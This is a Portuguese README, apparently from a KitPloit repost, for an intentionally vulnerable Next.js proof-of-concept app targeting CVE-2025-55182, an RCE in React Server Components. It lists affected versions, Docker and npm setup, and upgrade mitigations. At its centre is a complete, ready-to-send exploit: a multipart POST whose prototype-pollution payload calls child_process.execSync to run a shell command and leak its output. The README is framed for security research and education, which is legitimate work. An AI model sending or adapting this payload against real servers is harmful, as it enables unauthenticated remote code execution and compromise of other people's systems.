Prova de Conceito do Next.js CVE-2025-55182

Esta é uma aplicação Next.js de prova de conceito vulnerável ao CVE-2025-55182 (também conhecido como "React2Shell"), uma vulnerabilidade crítica de Execução Remota de Código (RCE) em Componentes de Servidor React.

⚠️ AVISO

Esta aplicação é intencionalmente vulnerável e deve ser usada APENAS para:

• Pesquisa de segurança
• Fins educacionais
• Testes em ambientes isolados

NÃO:

• Implante em produção
• Exponha a redes não confiáveis
• Use com dados sensíveis

Detalhes da Vulnerabilidade

CVE-2025-55182 afeta:

• Versões do React 19.0.0 até 19.2.0
• Versões do Next.js 15.x e 16.x (usando App Router)
• Aplicações que usam Componentes de Servidor React (RSC)

A vulnerabilidade decorre de desserialização insegura no tratamento de payloads de Componentes de Servidor React, permitindo que atacantes não autenticados executem código arbitrário no servidor por meio de requisições HTTP especialmente criadas.

Instruções de Configuração

Opção 1: Desenvolvimento Local

1. Instalar dependências:

   root@kitploit:~

   npm install
   

2. Executar o servidor de desenvolvimento:

   root@kitploit:~

   npm run dev
   

3. Acessar a aplicação: Abra http://localhost:3000 no seu navegador.

Opção 2: Docker

1. Construir a imagem Docker:

   root@kitploit:~

   docker build -t nextjs-cve-2025-55182 .
   

2. Executar o container:

   root@kitploit:~

   docker run --rm -p 3000:3000 nextjs-cve-2025-55182
   

3. Acessar a aplicação: Abra http://localhost:3000 no seu navegador.

Estrutura da Aplicação

• Página de Login (/): Um formulário de login simples usando Componentes de Servidor React
• Dashboard (/dashboard): Uma página protegida acessível após o login

Componentes Vulneráveis

Esta aplicação usa:

• Next.js 15.1.0 (versão vulnerável)
• React 19.0.0 (versão vulnerável)
• App Router com Componentes de Servidor React (RSC)
• Estrutura básica do create-next-app

A vulnerabilidade existe no mecanismo de desserialização de payloads RSC, que pode ser explorada enviando requisições HTTP multipart maliciosas diretamente para as rotas das páginas (por exemplo, http://localhost:3000 ou http://localhost:3000/dashboard). A exploração funciona em qualquer página que use Componentes de Servidor React.

Exploração

A vulnerabilidade pode ser explorada enviando requisições HTTP especialmente criadas diretamente para as rotas das páginas (por exemplo, http://localhost:3000 ou http://localhost:3000/dashboard). A exploração funciona em qualquer página que use Componentes de Servidor React.

Exemplo Rápido de Exploração

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

A exploração ataca diretamente as rotas das páginas — funciona em localhost:3000 (página inicial) ou localhost:3000/dashboard (página do dashboard).

Mitigação

Para corrigir esta vulnerabilidade:

• Atualize o React para a versão 19.0.1, 19.1.2 ou 19.2.1+
• Atualize o Next.js para uma versão corrigida (15.0.5+ ou 16.x com patches)

Referências

• CVE-2025-55182
• Comunicado de Segurança do React
• Comunicado de Segurança do Next.js

Licença

Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa em segurança.